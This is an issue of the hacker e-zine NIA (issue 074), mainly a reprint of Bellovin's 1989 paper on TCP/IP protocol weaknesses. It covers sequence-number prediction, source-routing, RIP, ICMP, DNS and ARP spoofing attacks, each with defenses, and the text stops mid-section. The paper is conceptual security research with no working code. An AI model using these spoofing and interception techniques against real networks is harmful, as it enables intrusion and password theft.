Copy Link
Add to Bookmark
Report
Network Information Access 74
Founded By: | _ _______
Guardian Of Time | __ N.I.A. _ ___ ___ Are you on any WAN? are
Judge Dredd | ____ ___ ___ ___ ___ you on Bitnet, Internet
------------------+ _____ ___ ___ ___ ___ Compuserve, MCI Mail,
\ / ___ ___ ___ ___ ___________ Sprintmail, Applelink,
+---------+ ___ ___ ___ ___ ___________ Easynet, MilNet,
| 05MON18 | ___ ______ ___ ___ ___ FidoNet, et al.?
| File 74 | ___ _____ ___ ___ ___ If so please drop us a
+---------+ ____ _ __ ___ line at
___ _ ___ nia@nuchat.sccsi.com
Internal Affairs BBS __ NIA074
_ Network Information Access
Ignorance, There's No Excuse.
NIA Issue 074 Volume 2
"I didn't invent the Unix security problem. I just optimized it."
Greetings. This newsletter is published on a non-regular basis and
is only a hobby by the editors, not a job. No responsibility is taken by
the editors for this newsletter, all of that and the credit goes to the
contributers. We are changing format again to go with the changing times.
First of all, there will be NO news unless it is first hand accounts of it.
If you want news, there are plenty of other electronic 'zines and more
efficient ways of getting it than to wait for an NIA issue to come out.
Second, the articles are going to be getting technical. There is only
so many intro/basics we can publish/re-print.
We are looking for contributions. All articles submitted must be in a
regular format for the magazine. There is a one month review time for the
article to be chosen. There is an additional one month revise time if the
article is chosen. We do keep copies of everything that is sent to us so if
it is not published in the immediate issue than it could be published in a
later issue (in which case you will be notified). The readers make the
magazine, so if you want to see better issues then do some research and
send us reports.
------------------------------------------------------------------------------
1. Introduction ......................................................Editors
2. Security Problems in TCP/IP Suite [01/02] ...................S.M. Bellovin
3. Security Problems in TCP/IP Suite [02/02] ...................S.M. Bellovin
4. Firewalls: The Design of Secure Internet Gateway ............Bill Cheswick
5. Notes on Centigram Systems ......................................Anonymous
6. How to Steal Information .......................................The Butler
7. Killer Chips: Physical Virus ...................Jean-Bernard Condat [CCCF]
------------------------------------------------------------------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NIA074 / File 02
Security Problems in the TCP/IP Protocol Suite
Part I of II
S.M. Bellovin
AT&T Bell Laboratories
ABSTRACT
The TCP/IP protocol suite, which is very
widely used today, was developed under
the sponsorship of the Department of
Defense. Despite that, there are a
number of serious security flaws
inherent in the protocols, regardless of
the correctness of any implementations.
We describe a variety of attacks based
on these flaws, including sequence
number spoofing, routing attacks, source
address spoofing, and authentication
attacks. We also present defenses
against these attacks, and conclude with
a discussion of broad-spectrum defenses
such as encryption.
1. INTRODUCTION
The TCP/IP protocol suite[1][2], which is very widely used
today, was developed under the sponsorship of the Department
of Defense. Despite that, there are a number of serious
security flaws inherent in the protocols. Some of these
flaws exist because hosts rely on IP source address for
authentication; the Berkeley "r-utilities"[3] are a
notable example. Others exist because network control
mechanisms, and in particular routing protocols, have
minimal or non-existent authentication.
When describing such attacks, our basic assumption is that
the attacker has more or less complete control over some
machine connected to the Internet. This may be due to flaws
in that machine's own protection mechanisms, or it may be
__________
* Author's address: Room 3C-536B AT&T Bell Laboratories,
600 Mountain Avenue, Murray Hill, New Jersey 07974.
Reprinted from Computer Communication Review Vol. 19
No. 2, p.32-48, April 1989.
because that machine is a microcomputer, and inherently
unprotected. Indeed, the attacker may even be a rogue
system administrator.
1.1 Exclusions
We are not concerned with flaws in particular
implementations of the protocols, such as those used by the
Internet "worm"[4][5][6]. Rather, we discuss generic
problems with the protocols themselves. As will be seen,
careful implementation techniques can alleviate or prevent
some of these problems. Some of the protocols we discuss
are derived from Berkeley's version of the UNIXr system;
others are generic Internet protocols.
We are also not concerned with classic network attacks, such
as physical eavesdropping, or altered or injected messages.
We discuss such problems only in so far as they are
facilitated or possible because of protocol problems.
For the most part, there is no discussion here of vendor-
specific protocols. We do discuss some problems with
Berkeley's protocols, since these have become de facto
standards for many vendors, and not just for UNIX systems.
2. TCP SEQUENCE NUMBER PREDICTION
One of the more fascinating security holes was first
described by Morris[7]. Briefly, he used TCP sequence
number prediction to construct a TCP packet sequence without
ever receiving any responses from the server. This allowed
him to spoof a trusted host on a local network.
The normal TCP connection establishment sequence involves a
3-way handshake. The client selects and transmits an
initial sequence number ISNC, the server acknowledges it and
sends its own sequence number ISNS, and the client
acknowledges that. Following those three messages, data
transmission may take place. The exchange may be shown
schematically as follows:
C->S:SYN(ISNC)
S->C:SYN(ISNS),ACK(ISNC)
C->S:ACK(ISNS)
C->S:data
and/or
S->C:data
That is, for a conversation to take place, C must first hear
ISNS, a more or less random number.
Suppose, though, that there was a way for an intruder X to
predict ISNS. In that case, it could send the following
sequence to impersonate trusted host T:
X->S:SYN(ISNX),SRC=T
S->T:SYN(ISNS),ACK(ISNX)
X->S:ACK(ISNS),SRC=T
X->S:ACK(ISNS),SRC=T,nasty-data
Even though the message S->T does not go to X, X was able to
know its contents, and hence could send data. If X were to
perform this attack on a connection that allows command
execution (i.e., the Berkeley rsh server), malicious
commands could be executed.
How, then, to predict the random ISN? In Berkeley systems,
the initial sequence number variable is incremented by a
constant amount once per second, and by half that amount
each time a connection is initiated. Thus, if one initiates
a legitimate connection and observes the ISNS used, one can
calculate, with a high degree of confidence, ISNS' used on
the next connection attempt.
Morris points out that the reply message
S->T:SYN(ISNS),ACK(ISNX)
does not in fact vanish down a black hole; rather, the real
host T will receive it and attempt to reset the connection.
This is not a serious obstacle. Morris found that by
impersonating a server port on T, and by flooding that port
with apparent connection requests, he could generate queue
overflows that would make it likely that the S->T message
would be lost. Alternatively, one could wait until T was
down for routine maintenance or a reboot.
A variant on this TCP sequence number attack, not described
by Morris, exploits the netstat[8] service. In this attack,
the intruder impersonates a host that is down. If netstat
is available on the target host, it may supply the necessary
sequence number information on another port; this eliminates
all need to guess1.
__________
1. The netstat protocol is obsolete, but is still present
on some Internet hosts. Security concerns were not
Defenses
Obviously, the key to this attack is the relatively coarse
rate of change of the initial sequence number variable on
Berkeley systems. The TCP specification requires that this
variable be incremented approximately 250,000 times per
second; Berkeley is using a much slower rate. However, the
critical factor is the granularity, not the average rate.
The change from an increment of 128 per second in 4.2BSD to
125,000 per second in 4.3BSD is meaningless, even though the
latter is within a factor of two of the specified rate.
Let us consider whether a counter that operated at a true
250,000 hz rate would help. For simplicity's sake, we will
ignore the problem of other connections occurring, and only
consider the fixed rate of change of this counter.
To learn a current sequence number, one must send a SYN
packet, and receive a response, as follows:
X->S: SYN(ISNX)
S->X: SYN(ISNS),ACK(ISNX) (1)
The first spoof packet, which triggers generation of the
next sequence number, can immediately follow the server's
response to the probe packet:
X->S: SYN(ISNX),SRC=T (2)
The sequence number ISNS used in the response
S->T: SYN(ISNS),ACK(ISNX)
is uniquely determined by the time between the origination
of message (0) and the receipt at the server of message (0).
But this number is precisely the round-trip time between X
and S. Thus, if the spoofer can accurately measure (and
predict) that time, even a 4-second clock will not defeat
this attack.
How accurately can the trip time be measured? If we assume
that stability is good, we can probably bound it within 10
milliseconds or so. Clearly, the Internet does not exhibit
such stability over the long-term[9], but it is often good
enough over the short term.2 There is thus an uncertainty of
____________________________________________________________
behind its elimination.
2500 in the possible value for ISNS. If each trial takes 5
seconds, to allow time to re-measure the round-trip time, an
intruder would have a reasonable likelihood of succeeding in
7500 seconds, and a near-certainty within a day. More
predictable (i.e., higher quality) networks, or more
accurate measurements, would improve the odds even further
in the intruder's favor. Clearly, simply following the
letter of the TCP specification is not good enough.
We have thus far tacitly assumed that no processing takes
places on the target host. In fact, some processing does
take place when a new request comes in; the amount of
variability in this processing is critical. On a 6 MIPS
machine, one tick -- 4 M-seconds -- is about 25
instructions. There is thus considerable sensitivity to the
exact instruction path followed. High-priority interrupts,
or a slightly different TCB allocation sequence, will have a
comparatively large effect on the actual value of the next
sequence number. This randomizing effect is of considerable
advantage to the target. It should be noted, though, that
faster machines are more vulnerable to this attack, since
the variability of the instruction path will take less real
time, and hence affect the increment less. And of course,
CPU speeds are increasing rapidly.
This suggests another solution to sequence number attacks:
randomizing the increment. Care must be taken to use
sufficient bits; if, say, only the low-order 8 bits were
picked randomly, and the granularity of the increment was
coarse, the intruder's work factor is only multiplied by
256. A combination of a fine-granularity increment and a
small random number generator, or just a 32-bit generator,
is better. Note, though, that many pseudo-random number
generators are easily invertible[10]. In fact, given that
most such generators work via feedback of their output, the
enemy could simply compute the next "random" number to be
picked. Some hybrid techniques have promise -- using a 32-
bit generator, for example, but only emitting 16 bits of it
-- but brute-force attacks could succeed at determining the
seed. One would need at least 16 bits of random data in
____________________________________________________________
2. At the moment, the Internet may not have such stability
even over the short-term, especially on long-haul
connections. It is not comforting to know that the
security of a network relies on its low quality of
service.
each increment, and perhaps more, to defeat probes from the
network, but that might leave too few bits to guard against
a search for the seed. More research or simulations are
needed to determine the proper parameters.
Rather than go to such lengths, it is simpler to use a
cryptographic algorithm (or device) for ISNS generation.
The Data Encryption Standard[11] (DES) in electronic
codebook mode[12] is an attractive choice as the ISNS
source, with a simple counter as input. Alternatively, DES
could be used in output feedback mode without an additional
counter. Either way, great care must be taken to select the
key used. The time-of-day at boot time is not adequate;
sufficiently good information about reboot times is often
available to an intruder, thereby permitting a brute-force
attack. If, however, the reboot time is encrypted with a
per-host secret key, the generator cannot be cracked with
any reasonable effort.
Performance of the initial sequence number generator is not
a problem. New sequence numbers are needed only once per
connection, and even a software implementation of DES will
suffice. Encryption times of 2.3 milliseconds on a 1 MIPS
processor have been reported[13].
An additional defense involves good logging and alerting
mechanisms. Measurements of the round-trip time --
essential for attacking RFC-compliant hosts -- would most
likely be carried out using ICMP Ping messages; a
"transponder" function could log excessive ping requests.
Other, perhaps more applicable, timing measurement
techniques would involve attempted TCP connections; these
connections are conspicuously short-lived, and may not even
complete SYN processing. Similarly, spoofing an active host
will eventually generate unusual types of RST packets; these
should not occur often, and should be logged.
3. THE JOY OF ROUTING
Abuse of the routing mechanisms and protocols is probably
the simplest protocol-based attack available. There are a
variety of ways to do this, depending on the exact routing
protocols used. Some of these attacks succeed only if the
remote host does source address-based authentication; others
can be used for more powerful attacks.
A number of the attacks described below can also be used to
accomplish denial of service by confusing the routing tables
on a host or gateway. The details are straight-forward
corollaries of the penetration mechanisms, and will not be
described further.
3.1 Source Routing
If available, the easiest mechanism to abuse is IP source
routing. Assume that the target host uses the reverse of
the source route provided in a TCP open request for return
traffic. Such behavior is utterly reasonable; if the
originator of the connection wishes to specify a particular
path for some reason -- say, because the automatic route is
dead -- replies may not reach the originator if a different
path is followed.
The attacker can then pick any IP source address desired,
including that of a trusted machine on the target's local
network. Any facilities available to such machines become
available to the attacker.
Defenses
It is rather hard to defend against this sort of attack.
The best idea would be for the gateways into the local net
to reject external packets that claim to be from the local
net. This is less practical than it might seem since some
Ethernet3 network adapters receive their own transmissions,
and this feature is relied upon by some higher-level
protocols. Furthermore, this solution fails completely if
an organization has two trusted networks connected via a
multi-organization backbone. Other users on the backbone
may not be trustable to the same extent that local users are
presumed to be, or perhaps their vulnerability to outside
attack is higher. Arguably, such topologies should be
avoided in any event.
A simpler method might be to reject pre-authorized
connections if source routing information was present. This
presumes that there are few legitimate reasons for using
this IP option, especially for relatively normal operations.
A variation on this defense would be to analyze the source
route and accept it if only trusted gateways were listed;
that way, the final gateway could be counted on to deliver
the packet only to the true destination host. The
complexity of this idea is probably not worthwhile.
__________
3. Ethernet is a registered trademark of Xerox Corporation.
Some protocols (i.e., Berkeley's rlogin and rsh) permit
ordinary users to extend trust to remote host/user
combinations. In that case, individual users, rather than
an entire system, may be targeted by source routing
attacks.4 Suspicious gateways[14] will not help here, as the
host being spoofed may not be within the security domain
protected by the gateways.
3.2 Routing Attacks
The Routing Information Protocol[15] (RIP) is used to
propagate routing information on local networks, especially
broadcast media. Typically, the information received is
unchecked. This allows an intruder to send bogus routing
information to a target host, and to each of the gateways
along the way, to impersonate a particular host. The most
likely attack of this sort would be to claim a route to a
particular unused host, rather than to a network; this would
cause all packets destined for that host to be sent to the
intruder's machine. (Diverting packets for an entire
network might be too noticeable; impersonating an idle
work-station is comparatively risk-free.) Once this is
done, protocols that rely on address-based authentication
are effectively compromised.
This attack can yield more subtle, and more serious,
benefits to the attacker as well. Assume that the attacker
claims a route to an active host or workstation instead.
All packets for that host will be routed to the intruder's
machine for inspection and possible alteration. They are
then resent, using IP source address routing, to the
intended destination. An outsider may thus capture
passwords and other sensitive data. This mode of attack is
unique in that it affects outbound calls as well; thus, a
user calling out from the targeted host can be tricked into
divulging a password. Most of the earlier attacks discussed
are used to forge a source address; this one is focused on
the destination address.
__________
4. Permitting ordinary users to extend trust is probably
wrong in any event, regardless of abuse of the
protocols. But such concerns are beyond the scope of
this paper.
Defenses
A RIP attack is somewhat easier to defend against than the
source-routing attacks, though some defenses are similar. A
paranoid gateway -- one that filters packets based on source
or destination address -- will block any form of host-
spoofing (including TCP sequence number attacks), since the
offending packets can never make it through. But there are
other ways to deal with RIP problems.
One defense is for RIP to be more skeptical about the routes
it accepts. In most environments, there is no good reason
to accept new routes to your own local networks. A router
that makes this check can easily detect intrusion attempts.
Unfortunately, some implementations rely on hearing their
own broadcasts to retain their knowledge of directly-
attached networks. The idea, presumably, is that they can
use other networks to route around local outages. While
fault-tolerance is in general a good idea, the actual
utility of this technique is low in many environments
compared with the risks.
It would be useful to be able to authenticate RIP packets;
in the absence of inexpensive public-key signature schemes,
this is difficult for a broadcast protocol. Even if it were
done, its utility is limited; a receiver can only
authenticate the immediate sender, which in turn may have
been deceived by gateways further upstream.
Even if the local routers don't implement defense
mechanisms, RIP attacks carry another risk: the bogus
routing entries are visible over a wide area. Any router
(as opposed to host) that receives such data will
rebroadcast it; a suspicious administrator almost anywhere
on the local collection of networks could notice the
anomaly. Good log generation would help, but it is hard to
distinguish a genuine intrusion from the routing instability
that can accompany a gateway crash.
3.3 Exterior Gateway Protocol
The Exterior Gateway Protocol (EGP)[16] is intended for
communications between the core gateways and so-called
exterior gateways. An exterior gateway, after going through
a neighbor acquisition protocol, is periodically polled by
the core; it responds with information about the networks it
serves. These networks must all be part of its autonomous
system. Similarly, the gateway periodically requests
routing information from the core gateway. Data is not
normally sent except in response to a poll; furthermore,
since each poll carries a sequence number that must be
echoed by the response, it is rather difficult for an
intruder to inject a false route update. Exterior gateways
are allowed to send exactly one spontaneous update between
any two polls; this, too, must carry the sequence number of
the last poll received. It is thus comparatively difficult
to interfere in an on-going EGP conversation.
One possible attack would be to impersonate a second
exterior gateway for the same autonomous system. This may
not succeed, as the core gateways could be equipped with a
list of legitimate gateways to each autonomous system. Such
checks are not currently done, however. Even if they were,
they could be authenticated only by source IP address.
A more powerful attack would be to claim reachability for
some network where the real gateway is down. That is, if
gateway G normally handles traffic for network N, and G is
down, gateway G' could advertise a route to that network.
This would allow password capture by assorted mechanisms.
The main defense against this attack is topological (and
quite restrictive): exterior gateways must be on the same
network as the core; thus, the intruder would need to
subvert not just any host, but an existing gateway or host
that is directly on the main net.
A sequence number attack, similar to those used against TCP,
might be attempted; the difficulty here is in predicting
what numbers the core gateway is using. In TCP, one can
establish arbitrary connections to probe for information; in
EGP, only a few hosts may speak to the core. (More
accurately, the core could only speak to a few particular
hosts, though as noted such checks are not currently
implemented.) It may thus be hard to get the raw data
needed for such an attack.
3.4 The Internet Control Message Protocol
The Internet Control Message Protocol (ICMP)[17] is the
basic network management tool of the TCP/IP protocol suite.
It would seem to carry a rich potential for abuse.
Surprisingly, ICMP attacks are rather difficult; still,
there are often holes that may be exploited.
The first, and most obvious target, is the ICMP Redirect
message; it is used by gateways to advise hosts of better
routes. As such it can often be abused in the same way that
RIP can be. The complication is that a Redirect message
must be tied to a particular, existing connection; it cannot
be used to make an unsolicited change to the host's routing
tables. Furthermore, Redirects are only applicable within a
limited topology; they may be sent only from the first
gateway along the path to the originating host. A later
gateway may not advise that host, nor may it use ICMP
Redirect to control other gateways.
Suppose, though, that an intruder has penetrated a secondary
gateway available to a target host, but not the primary one.
(It may suffice to penetrate an ordinary host on the
target's local network, and have it claim to be a gateway.)
Assume further that the intruder wishes to set up a false
route to trusted host T through that compromised secondary
gateway. The following sequence may then be followed. Send
a false TCP open packet to the target host, claiming to be
from T. The target will respond with its own open packet,
routing it through the secure primary gateway. While this
is in transit, a false Redirect may be sent, claiming to be
from the primary gateway, and referring to the bogus
connection. This packet will appear to be a legitimate
control message; hence the routing change it contains will
be accepted. If the target host makes this change to its
global routing tables, rather than just to the per-
connection cached route, the intruder may proceed with
spoofing host T.
Some hosts do not perform enough validity checks on ICMP
Redirect messages; in such cases, the impact of this attack
becomes similar to RIP-based attacks.
ICMP may also be used for targeted denial of service
attacks. Several of its messages, such as Destination
Unreachable and Time to Live Exceeded, may be used to reset
existing connections. If the intruder knows the local and
remote port numbers of a TCP connection, an ICMP packet
aimed at that connection may be forged5. Such information
is sometimes available through the netstat service.
A more global denial of service attack can be launched by
sending a fraudulent Subnet Mask Reply message. Some hosts
will accept any such message, whether they have sent a query
or not; a false one could effectively block all
communications with the target host.
__________
5. In fact, such programs are available today; they are
used as administrative tools to reset hung TCP
connections.
Defenses
Most ICMP attacks are easy to defend against with just a
modicum of paranoia. If a host is careful about checking
that a message really does refer to a particular connection,
most such attacks will not succeed. In the case of TCP,
this includes verifying that the ICMP packet contains a
plausible sequence number in the returned-packet portion.
These checks are less applicable to UDP, though.
A defense against Redirect attacks merits additional
attention, since such attacks can be more serious.
Probably, the best option is to restrict route changes to
the specified connection; the global routing table should
not be modified in response to ICMP Redirect messages6.
Finally, it is worth considering whether ICMP Redirects are
even useful in today's environment. They are only usable on
local networks with more than one gateway to the outside
world. But it is comparatively easy to maintain complete
and correct local routing information. Redirect messages
would be most useful from the core gateways to local
exterior gateways, as that would allow such local gateways
to have less than complete knowledge of the Internet; this
use is disallowed, however.
Subnet Mask attacks can be blocked if the Reply packet is
honored only at the appropriate time. In general, a host
wants to see such a message only at boot time, and only if
it had issued a query; a stale reply, or an unsolicited
reply, should be rejected out of hand. There is little
defense against a forged reply to a genuine Subnet Mask
query, as a host that has sent such a query typically has
few resources with which to validate the response. If the
genuine response is not blocked by the intruder, though, the
target will receive multiple replies; a check to ensure that
all replies agree would guard against administrative errors
as well.
__________
6. This has other benefits as well, especially in
environments where ICMP-initiated route changes are not
timed out. The author has seen situations where RIP
instability following a gateway crash has led to
erroneous ICMP Redirect messages. These had the effect
of permanently corrupting the routing tables on other
hosts.
4. THE "AUTHENTICATION" SERVER
As an alternative to address-based authentication, some
implementations use the Authentication Server[18]. A server
that wishes to know the identity of its client may contact
the client host's Authentication Server7, and ask it for
information about the user owning a particular connection.
This method is inherently more secure than simple address-
based authentication, as it uses a second TCP connection not
under control of the attacker. It thus can defeat sequence
number attacks and source routing attacks. There are
certain risks, however.
The first, and most obvious, is that not all hosts are
competent to run authentication servers. If the client host
is not secure, it does not matter who the user is claimed to
be; the answer cannot be trusted. Second, the
authentication message itself can be compromised by routing
table attacks. If RIP has been used to alter the target's
idea of how to reach some host, the authentication query
will rely on the same altered routing data. Finally, if the
target host is down, a variant on the TCP sequence number
attack may be used; after the server sends out a TCP open
request to the presumed authentication server, the attacker
can complete the open sequence and send a false reply. If
the target runs a netstat server, this is even easier; as
noted, netstat will often supply the necessary sequence
numbers with no need to guess.
A less-obvious risk is that a fake authentication server can
always reply "no". This constitutes a denial of service
attack.
Defenses
A server that wishes to rely on another host's idea of a
user should use a more secure means of validation, such as
the Needham-Schroeder algorithm[20][21][22]. TCP by itself
is inadequate.
__________
7. The Internet Activities Board does not currently
recommend the Authentication Server for
implementation[19]. However, the decision was not made
because of security problems[5].
5. HERE BE DRAGONS
Some protocols, while not inherently flawed, are
nevertheless susceptible to abuse. A wise implementor would
do well to take these problems into account when providing
the service.
5.1 The "Finger" Service
Many systems implement a finger service[23]. This server
will display useful information about users, such as their
full names, phone numbers, office numbers, etc.
Unfortunately, such data provides useful grist for the mill
of a password cracker.[24] By running such a service, a
system administrator is giving away this data.
5.2 Electronic Mail
Electronic mail is probably the most valuable service on the
Internet. Nevertheless, it is quite vulnerable to misuse.
As normally implemented[25][26], the mail server provides no
authentication mechanisms. This leaves the door wide open
to faked messages. RFC 822 does support an Encrypted header
line, but this is not widely used. (However, see RFC
1040[27] for a discussion of a proposed new encryption
standard for electronic mail.)
5.2.1 The Post Office Protocol
The The Post Office Protocol (POP)[28] allows a remote user
to retrieve mail stored on a central server machine.
Authentication is by means of a single command containing
both the user name and the password. However, combining the
two on a single command mandates the use of conventional
passwords. And such passwords are becoming less popular;
they are too vulnerable to wire-tappers, intentional or
accidental disclosure, etc.
As an alternative, many sites are adopting "one-time
passwords"8. With one-time passwords, the host and some
device available to the user share a cryptographic key. The
host issues a random challenge; both sides encrypt this
number, and the user transmits it back to the host. Since
__________
8. One-time passwords were apparently first used for
military IFF (Identification Friend or Foe) systems[29].
the challenge is random, the reply is unique to that
session, thereby defeating eavesdroppers. And since the
user does not know the key -- it is irretrievably stored in
the device -- the password cannot be given away without
depriving the user of the ability to log in.
The newest version of POP[30] has split the user name and
password into two commands, which is useful. However, it
also defines an optional mechanism for preauthenticated
connections, typically using Berkeley's mechanisms.
Commendably, the security risks of this variant are
mentioned explicitly in the document.
5.2.2 PCMAIL
The PCMAIL protocol[31] uses authentication mechanisms
similar to those in POP2. In one major respect, PCMAIL is
more dangerous: it supports a password-change command.
This request requires that both the old and new passwords be
transmitted unencrypted.
5.3 The Domain Name System
The Domain Name System (DNS)[32][33] provides for a
distributed database mapping host names to IP addresses. An
intruder who interferes with the proper operation of the DNS
can mount a variety of attacks, including denial of service
and password collection. There are a number of
vulnerabilities.
In some resolver implementations, it is possible to mount a
sequence number attack against a particular user. When the
target user attempts to connect to a remote machine, an
attacker can generate a domain server response to the
target's query. This requires knowing both the UDP port
used by the client's resolver and the DNS sequence number
used for the query. The latter is often quite easy to
obtain, though, since some resolvers always start their
sequence numbers with 0. And the former may be obtainable
via netstat or some analogous host command.
A combined attack on the domain system and the routing
mechanisms can be catastrophic. The intruder can intercept
virtually all requests to translate names to IP addresses,
and supply the address of a subverted machine instead; this
would allow the intruder to spy on all traffic, and build a
nice collection of passwords if desired.
For this reason, domain servers are high-value targets; a
sufficiently determined attacker might find it useful to
take over a server by other means, including subverting the
machine one is on, or even physically interfering with its
link to the Internet. There is no network defense against
the former, which suggests that domain servers should only
run on highly secure machines; the latter issue may be
addressed by using authentication techniques on domain
server responses.
The DNS, even when functioning correctly, can be used for
some types of spying. The normal mode of operation of the
DNS is to make specific queries, and receive specific
responses. However, a zone transfer (AXFR) request exists
that can be used to download an entire section of the
database; by applying this recursively, a complete map of
the name space can be produced. Such a database represents
a potential security risk; if, for example, an intruder
knows that a particular brand of host or operating system
has a particular vulnerability, that database can be
consulted to find all such targets. Other uses for such a
database include espionage; the number and type of machines
in a particular organization, for example, can give away
valuable data about the size of the organization, and hence
the resources committed to a particular project.
Fortunately, the domain system includes an error code for
"refused"; an administrative prohibition against such zone
transfers is explicitly recognized as a legitimate reason
for refusal. This code should be employed for zone transfer
requests from any host not known to be a legitimate
secondary server. Unfortunately, there is no authentication
mechanism provided in the AXFR request; source address
authentication is the best that can be done.
Recently, a compatible authentication extension to the DNS
has been devised at M.I.T. The Hesiod name server[34] uses
Kerberos[35] tickets to authenticate queries and responses.
The additional information section of the query carries an
encrypted ticket, which includes a session key; this key,
known only to Hesiod and the client, is used to compute a
cryptographic checksum of the both the query and the
response. These checksums are also sent in the additional
information field.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NIA074 / File 03
Security Problems in the TCP/IP Protocol Suite
Part II of II
S.M. Bellovin
AT&T Bell Laboratories
5.4 The File Transfer Protocol
The File Transfer Protocol (FTP)[36] itself is not flawed.
However, a few aspects of the implementation merit some
care.
5.4.1 FTP Authentication
FTP relies on a login and password combination for
authentication. As noted, simple passwords are increasingly
seen as inadequate; more and more sites are adopting one-
time passwords. Nothing in the FTP specification precludes
such an authentication method. It is vital, however, that
the "331" response to a USER subcommand be displayed to
the user; this message would presumably contain the
challenge. An FTP implementation that concealed this
response could not be used in this mode; if such
implementations are (or become) common, it may be necessary
to use a new reply code to indicate that the user must see
the content of the challenge.
5.4.2 Anonymous FTP
A second problem area is "anonymous FTP". While not
required by the FTP specification, anonymous FTP is a
treasured part of the oral tradition of the Internet.
Nevertheless, it should be implemented with care.
One part of the problem is the implementation technique
chosen. Some implementations of FTP require creation of a
partial replica of the directory tree; care must be taken to
ensure that these files are not subject to compromise. Nor
should they contain any sensitive information, such as
encrypted passwords.
The second problem is that anonymous FTP is truly anonymous;
there is no record of who has requested what information.
Mail-based servers will provide that data; they also provide
useful techniques for load-limiting9, background transfers,
etc.
5.5 Simple Network Management Protocol
The Simple Network Management Protocol (SNMP)[37] has
recently been defined to aid in network management.
Clearly, access to such a resource must be heavily
protected. The RFC states this, but also allows for a null
__________
9. Recently, a host was temporarily rendered unusable by
massive numbers of FTP requests for a popular technical
report. If this were deliberate, it would be considered
a successful denial of service attack.
authentication service; this is a bad idea. Even a "read-
only" mode is dangerous; it may expose the target host to
netstat-type attacks if the particular Management
Information Base (MIB)[38] used includes sequence numbers.
(The current standardized version does not; however, the MIB
is explicitly declared to be extensible.)
5.6 Remote Booting
Two sets of protocols are used today to boot diskless
workstations and gateways, Reverse ARP (RARP)[39] with the
Trivial File Transfer Protocol (TFTP)[40] and BOOTP[41] with
TFTP. A system being booted is a tempting target; if one
can subvert the boot process, a new kernel with altered
protection mechanisms can be substituted. RARP-based
booting is riskier because it relies on Ethernet-like
networks, with all the vulnerabilities adhering thereto.
One can achieve a modest improvement in security by ensuring
that the booting machine uses a random number for its UDP
source port; otherwise, an attacker can impersonate the
server and send false DATA packets.
BOOTP adds an additional layer of security by including a
4-byte random transaction id. This prevents an attacker
from generating false replies to a workstation known to be
rebooting. It is vital that these numbers indeed be random;
this can be difficult in a system that is freshly powered
up, and hence with little or no unpredictable state. Care
should be taken when booting through gateways; the more
networks traversed, the greater the opportunity for
impersonation.
The greatest measure of protection is that normally, the
attacker has only a single chance; a system being booted
does not stay in that state. If, however, communications
between the client and the standard server may be
interrupted, larger-scale attacks may be mounted.
6. TRIVIAL ATTACKS
A few attacks are almost too trivial to mention;
nevertheless, completeness demands that they at least be
noted.
6.1 Vulnerability of the Local Network
Some local-area networks, notably the Ethernet networks, are
extremely vulnerable to eavesdropping and host-spoofing. If
such networks are used, physical access must be strictly
controlled. It is also unwise to trust any hosts on such
networks if any machine on the network is accessible to
untrusted personnel, unless authentication servers are used.
If the local network uses the Address Resolution Protocol
(ARP)[42] more subtle forms of host-spoofing are possible.
In particular, it becomes trivial to intercept, modify, and
forward packets, rather than just taking over the host's
role or simply spying on all traffic.
It is possible to launch denial of service attacks by
triggering broadcast storms. There are a variety of ways to
do this; it is quite easy if most or all of the hosts on the
network are acting as gateways. The attacker can broadcast
a packet destined for a non-existent IP address. Each host,
upon receiving it, will attempt to forward it to the proper
destination. This alone will represent a significant amount
of traffic, as each host will generate a broadcast ARP query
for the destination. The attacker can follow up by
broadcasting an ARP reply claiming that the broadcast
Ethernet address is the proper way to reach that
destination. Each suspectible host will then not only
resend the bogus packet, it will also receive many more
copies of it from the other suspectible hosts on the
network.
6.2 The Trivial File Transfer Protocol
TFTP[40] permits file transfers without any attempt at
authentication. Thus, any publicly-readable file in the
entire universe is accessible. It is the responsibility of
the implementor and/or the system administrator to make that
universe as small as possible.
6.3 Reserved Ports
Berkeley-derived TCPs and UDPs have the notion of a
"privileged port". That is, port numbers lower than 1024
may only be allocated to privileged processes. This
restriction is used as part of the authentication mechanism.
However, neither the TCP nor the UDP specifications contain
any such concept, nor is such a concept even meaningful on a
single-user computer. Administrators should never rely on
the Berkeley authentication schemes when talking to such
machines.
7. COMPREHENSIVE DEFENSES
Thus far, we have described defenses against a variety of
individual attacks. Several techniques are broad-spectrum
defenses; they may be employed to guard against not only
these attacks, but many others as well.
7.1 Authentication
Many of the intrusions described above succeed only because
the target host uses the IP source address for
authentication, and assumes it to be genuine.
Unfortunately, there are sufficiently many ways to spoof
this address that such techniques are all but worthless.
Put another way, source address authentication is the
equivalent of a file cabinet secured with an S100 lock; it
may reduce the temptation level for more-or-less honest
passers-by, but will do little or nothing to deter anyone
even slightly serious about gaining entry.
Some form of cryptographic authentication is needed. There
are several possible approaches. Perhaps the best-known is
the Needham-Schroeder algorithm[20][21][22]. It relies on
each host sharing a key with an authentication server; a
host wishing to establish a connection obtains a session key
from the authentication server and passes a sealed version
along to the destination. At the conclusion of the dialog,
each side is convinced of the identity of the other.
Versions of the algorithm exist for both private-key and
public-key[43] cryptosystems.
How do these schemes fit together with TCP/IP? One answer
is obvious: with them, preauthenticated connections can be
implemented safely; without them, they are quite risky. A
second answer is that the DNS provides an ideal base for
authentication systems, as it already incorporates the
necessary name structure, redundancy, etc. To be sure, key
distribution responses must be authenticated and/or
encrypted; as noted, the former seems to be necessary in any
event.
In some environments, care must be taken to use the session
key to encrypt the entire conversation; if this is not done,
an attacker can take over a connection via the mechanisms
described earlier.
7.2 Encryption
Suitable encryption can defend against most of the attacks
outlined above. But encryption devices are expensive, often
slow, hard to administer, and uncommon in the civilian
sector. There are different ways to apply encryption; each
has its strengths and weaknesses. A comprehensive treatment
of encryption is beyond the scope of this paper; interested
readers should consult Voydock and Kent[44] or Davies and
Price[45].
Link-level encryption -- encrypting each packet as it leaves
the host computer -- is an excellent method of guarding
against disclosure of information. It also works well
against physical intrusions; an attacker who tapped in to an
Ethernet cable, for example, would not be able to inject
spurious packets. Similarly, an intruder who cut the line
to a name server would not be able to impersonate it. The
